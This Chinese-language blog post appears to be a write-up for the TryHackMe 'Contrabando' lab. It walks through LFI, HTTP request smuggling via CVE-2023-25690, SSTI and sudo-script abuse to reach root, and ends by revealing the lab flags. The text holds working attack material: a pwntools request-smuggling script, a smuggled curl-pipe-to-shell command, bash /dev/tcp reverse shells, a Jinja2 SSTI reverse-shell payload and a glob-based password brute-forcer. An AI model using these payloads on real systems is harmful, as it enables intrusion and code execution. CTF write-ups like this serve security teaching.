写点什么

TryHackMe Contrabando 漏洞挖掘全解析:从 LFI 到 Root 权限的完整攻击链

作者:qife122
  • 2025-10-07
    福建
  • 本文字数:5125 字

    阅读完需:约 17 分钟

Contrabando writeup — TryHackMe

这台机器呈现了一个复杂而迷人的攻击路径,需要跨不同系统层链接多个漏洞。初始入口点是本地文件包含(LFI)漏洞,利用该漏洞发现了一个关键的 HTTP 请求走私漏洞(CVE-2023–25690)。此漏洞是绕过反向代理并在后端 Docker 容器上实现远程代码执行(RCE)的关键。在逃离容器的网络后,我在内部服务上发现了服务器端模板注入(SSTI)漏洞,从而获得了用户 shell。最后的权限提升涉及两个步骤:首先,通过 GLOB 模式匹配利用一个实现不当的 Bash 脚本来窃取密码;其次,利用 Python2 脚本中的一个危险代码构造最终获得 root 访问权限。

侦察阶段

我使用 nmap 进行积极的全面端口扫描,以快速识别目标机器上的所有可用服务。使用的标志是-sS、-p-和—min-rate 5000,以覆盖所有端口并快速完成。


(nmap1)


发现:


  • 端口 22:开放(SSH)

  • 端口 80:开放(HTTP)


对这些特定端口进行的后续服务版本和脚本扫描提供了更多细节。


(nmap)


结果:


  • 端口 80:Apache httpd 2.4.55

枚举阶段

导航到端口 80 显示了一个简单的"即将推出"页面,带有一个指向测试版站点的链接,重定向到/page/home.html。


(soon)


/page/端点结构立即暗示了本地文件包含(LFI)的潜在向量。


(url)


我开始通过模糊测试来查找目录。对 Web 根目录(/)的初始扫描显示信息很少,但模糊测试/page/目录本身(/page/FUZZ)返回了大量的 200 OK 响应。停止扫描后,我意识到这是预期的功能。


(gobuster)


我决定尝试其中一个端点/page/,它显示 readfile()函数正在运行,还有一个名为 index.php 的文件。


(about)


我访问了/page/index.php 并查看了页面源代码。这揭示了驱动/page/端点的后端逻辑。


(index.php)


为了测试 LFI,我决定再次使用 Gobuster,但使用其模糊测试模式。我使用的命令如下(我过滤了长度 0–300,因为请求的平均响应是这个大小,这阻止了我看到好的请求)。


gobuster fuzz -u 'http://10.10.81.251:80/page/FUZZ' -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -t 100 --exclude-length 0-300
复制代码


(fuzz)


在模糊测试过程中,一些格式错误的请求返回了 400 Bad Request 错误。这些错误包含了一个揭示性的头部:服务器将自己标识为 Apache 2.4.54,并且在 172.18.0.3:8080 上。


(apache/2.4.54)


这可能证明了系统的构建方式:主机上的 Apache 反向代理(端口 80)将请求转发到 Docker 容器内的 Apache 后端服务(端口 8080)。


通过测试一个导致状态码 200 的有效载荷,我有效地验证了服务器易受 LFI 攻击。


(lfi)


由于有效载荷的结构,我了解到像../../../../etc/passwd 这样的标准 LFI 有效载荷被代理阻止,但可以通过双重 URL 编码绕过。这使我能够使用更短的有效载荷。


(short)


为了验证是否是 Docker,我决定使用 Burp Suite 并拦截对/etc/apache2/sites-available/000-default.conf 的请求。


拥有 VirtualHost *:8080 证实了我的怀疑。


这是关键的洞察:前端服务器(在端口 80 上)充当反向代理。当用户请求/page/something 时,代理会将请求作为 index.php?page=something 转发给后端应用程序(在 Docker 容器的端口 8080 上)。后端的 index.php 脚本然后获取 page 参数并将其直接传递给 readfile()函数,使其易受 LFI 攻击。


作为下一步,我决定再次列出/page/中的目录,但就像我对 FUZZ 所做的那样,按长度过滤。


gobuster dir -u "http://10.10.81.251:80/page/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x js,json,py,php,log,txt --no-error -t 400 --exclude-length 100-200 -b 400
复制代码


(gobuster)


扫描显示了一个名为/gen.php 的文件。通过使用 LFI,我能够读取其源代码。


(post)


我看到如果提供了 length POST 参数,它以未清理的方式使用了 exec()函数。出现的第一个问题是我无法直接访问该文件,因此我决定测试/page/端点是否允许包装器。


(wrapper)


它确实允许它们,因此我决定通过向我的 python3 服务器-m http.server 发送请求来测试 SSRF。


(ssrf)


拥有 SSRF 使我能够通过向 localhost 发送请求来访问 gen.php 文件。


(localhost)


挑战在于反向代理将我的 POST 请求转换为 GET 请求,阻止我直接发送必要的参数。


(index.php?page=http://localhost:8080/gen.php)


解决方案是后端上的 Apache 版本(2.4.54),它易受通过 CVE-2023–25690 的 HTTP 请求走私攻击。此漏洞允许攻击者发送带有嵌入的 CRLF(\r\n 或 %0d%0a)序列的特制 HTTP 请求。前端和后端服务器对单个请求的解释不同,允许攻击者"走私"第二个隐藏的请求直接到后端应用程序,绕过代理的规则。

利用阶段

为了验证服务器是否易受攻击,我决定使用在 dhmosfunk 的 GitHub 上找到的 PoC。


%20HTTP/1.1%0d%0aFoo:%20baarr


(poc)


有效载荷所做的是在 HTTP 版本之后发送一个额外的请求。如果发送请求时没有发生错误,则意味着服务器易受攻击,并且请求已成功"走私"通过。


现在我需要一个功能脚本来帮助我,我在 GitHub 上找到了 thanhlam-attt 的一个(我修改了脚本以使其适用于这台机器,你必须安装 pwntools 才能使此脚本工作)。


from pwn import *
def request_prepare(): hexdata = open("pre.txt", "rb").read() # print(hexdata) hexdata = hexdata.replace(b' ', b'%20') hexdata = hexdata.replace(b'\r\n', b'%0d%0a') hexdata = hexdata.replace(b'?', b'%3f') hexdata = hexdata.replace(b'=', b'%3d') # print(hexdata) uri = b'/page/index.php%20HTTP/1.1%0d%0aHost:%20localhost%0d%0aUser-Agent:%20Mozilla/5.0%20(' \ b'Windows%20NT%2010.0;%20Win64;%20x64;%20rv:120.0)%20Gecko/20100101%20Firefox/120.0%0d%0a%0d%0a' + hexdata + \ b'%0d%0a%0d%0aGET%20/abc' reqst = b'''GET %b HTTP/1.1\rHost: localhost\r\r''' % uri return reqst
def send_and_recive(req): rec = b'' ip = '10.10.214.175' port = 80 p = remote(ip, int(port)) p.send(req) rec += p.recv() print(rec.decode()) p.close() return rec.decode()
req = request_prepare()print(req)# print(urllib.parse.unquote(req.decode()))f = open('req.txt', 'wb')f.write(req)f.close()res = send_and_recive(req)f = open('res.txt', 'wb')f.write(res.encode())f.close()
复制代码


运行脚本的步骤如下:


  1. 创建一个 pre.txt 文件,其中包含您想要走私到后端/gen.php 的完整原始 HTTP POST 请求。为此,复制下面的有效载荷,将其粘贴到 burp suite 中,然后使用您的 IP 和 PORT 重新计算内容长度,然后右键单击 -> 复制到文件。


    POST /gen.php HTTP/1.1    Host: localhost    Content-Length: 53    Content-Type: application/x-www-form-urlencoded
length=1;sh -c "$(curl -s 10.13.91.64:8000/shell.sh)"
复制代码


(53)
复制代码


  1. 修改脚本中的 IP 变量并输入受害者机器的 IP 地址。

  2. 创建一个 shell.sh 文件,其中包含一个 bash 反向 shell,并在您为 pre.txt 中 curl 请求指定的相同端口上使用 Python HTTP 服务器托管它。


    bash -c 'bash -i >& /dev/tcp/10.13.91.64/4444 0>&1'
复制代码


  1. 在您在 shell.sh 文件中设置的相同端口上设置一个 netcat 监听器并运行脚本。


该脚本制作了一个利用 CRLF 漏洞的请求,将我的恶意 POST 请求走私过代理。


(request)


后端服务器执行了它,授予我 Docker 容器内 www-data 用户的反向 shell。


(www-data)


从容器中,我需要探索主机的内部网络。因此,我需要将一个静态的 nmap 二进制文件上传到目标,为此,我首先移动到/tmp 目录并创建一个文件夹,然后使用 curl 向我的 python 服务器发出请求以下载该文件。


(curl)


下载后,我解压它并使用 chmod +x 赋予执行权限。


(extraer)


为了运行它,我只使用了—min-rate=5000 标志,但它扫描了主机 172.18.0.1 到 172.18.0.3 上的所有端口。


(5000)


扫描显示 Docker 主机(172.18.0.1)上的端口 5000 开放。我使用 curl 与此新服务交互(我已经利用了端口 80 和 8080)。


(fetch)


该服务获取一个 URL。我决定向我的 Python 服务器发送一个请求,但当我没有收到任何有趣的内容时,我决定改为将其发送到 netcat。


(nc)


通过使用 nc 检查请求,我发现它使用了 PycURL 库,该库支持 file://协议。这使我能够从主机系统读取本地文件。


(file:///etc/passwd)


这揭示了一个名为 hansolo 的用户。知道他的名字后,我决定检查是哪个用户正在运行此服务进程。


(file:///proc/self/environ)


这揭示了该进程由 hansolo 运行。读取/proc/self/cmdline 显示了应用程序路径:/home/hansolo/app/app.py。


(app.py)


app.py 的源代码是关键。它使用了高度危险的 render_template_string()函数来渲染用户控制的输入。


(template)


将 website_content 请求直接发送到 render_template_string 使应用程序易受 SSTI 攻击。当应用程序将用户输入嵌入到模板中,然后在服务器上执行时,就会发生服务器端模板注入。这允许攻击者注入可能导致 RCE 的模板指令。在这种情况下,应用程序使用的是 Jinja2 模板。


我通过托管一个名为 test.html 的文件来确认该漏洞,该文件包含有效载荷{{ 7*7 }}。当应用程序获取并渲染它时,输出是 49,证明输入正在被执行。


(test.html)


然后我托管了一个更高级的 Jinja2 SSTI 反向 shell 有效载荷并触发它。


{{config.__class__.__init__.__globals__['os'].popen('bash -c \"bash -i >& /dev/tcp/10.13.91.64/5555 0>&1\"').read()}}
复制代码


这给了我主机上 hansolo 用户的反向 shell。


(hansolo)

权限提升

我做的第一件事是稳定 shell,为此我采取了以下步骤:


(reset)


然后我将终端类型设置为 xterm 并导出变量 TERM 和 SHELL。


(export)


现在我决定开始枚举以提升权限。我运行了 sudo -l,发现我可以在没有密码的情况下以 root 身份执行一个命令。


(sudo -l)


专注于第一个(因为它没有要求密码),我决定查看其内容。


(/root/password)


vault 脚本将用户输入与/root/password 的内容进行比较。关键缺陷在于其比较逻辑。变量没有加引号。在 Bash 中,这会导致==运算符执行模式匹配(GLOB 扩展)而不是字符串匹配。通过输入单个星号*,我匹配了任何非空字符串,欺骗脚本授予访问权限。


(*)


这并没有太大帮助,所以看到脚本分析了/root/password,我决定使用我在 voltatach 博客上找到的一个脚本来发现这个密码是什么。


#!/usr/bin/env python3
import subprocessimport string
CMD = ["sudo", "/usr/bin/bash", "/usr/bin/vault"]CHARS = string.ascii_letters + string.digits + string.punctuationCHARS = CHARS.replace("*", "").replace("?", "").replace("[", "").replace("]", "")
def run_with_input(candidate: str) -> bool: proc = subprocess.run( CMD, input=candidate + "*\n", text=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT ) out = proc.stdout.strip() return "Password matched!" in out
def brute_force(): found = "" while True: progress = False for c in CHARS: attempt = found + c print(f"\33[2K\r[+] Progress: {found}{c}", end="", flush=True) if run_with_input(attempt): found += c progress = True break if not progress: print(f"\33[2K\r[!] Final password: {found[:-1]}") break
if __name__ == "__main__": brute_force()
复制代码


该脚本使用 GLOB 模式(例如,a*, b*, [a-z], ?)执行暴力攻击。这依次确定了密码的长度和每个字符。运行脚本后,我获得了一个密码。


(password)


第二个 sudo 命令很有趣:它允许我使用任何 python*解释器运行一个脚本。我检查了该脚本,发现它使用 input()来获取用户数据。


(input())


关键区别在于 Python 2 和 Python 3 之间:


  • 在 Python 3 中,input()始终将用户的输入作为字符串返回。

  • 在 Python 2 中,input()将用户的输入作为 Python 代码进行评估。这是极其危险的。


我使用 Python2 执行了该脚本,提供了窃取的密码。对于最后的提示("您想为密码添加的任何单词"),我提供了一个生成 bash shell 的 Python 命令:import("os").system("/bin/bash")


(root)


因为脚本是用 Python2 运行的,input()函数将__import__("os").system("/bin/bash")作为 Python 代码进行评估,以 root 权限执行它,并授予我 root shell。现在我可以读取 root 标志的内容。


(root.txt)


所有问题的答案是:


  1. 第一个标志是什么?THM{Th3_BeST_SmuGGl3R_In_Da_GalaXy}

  2. 第二个标志是什么?THM{All_AbouT_PassW0rds}


就这些了!感谢阅读,下次再见!,我希望这篇 Writeup 对您有所帮助。更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)


公众号二维码


办公AI智能小助手


公众号二维码


网络安全技术点滴分享


用户头像

qife122

关注

还未添加个人签名 2021-05-19 加入

还未添加个人简介

评论

发布
暂无评论
TryHackMe Contrabando漏洞挖掘全解析:从LFI到Root权限的完整攻击链_渗透测试_qife122_InfoQ写作社区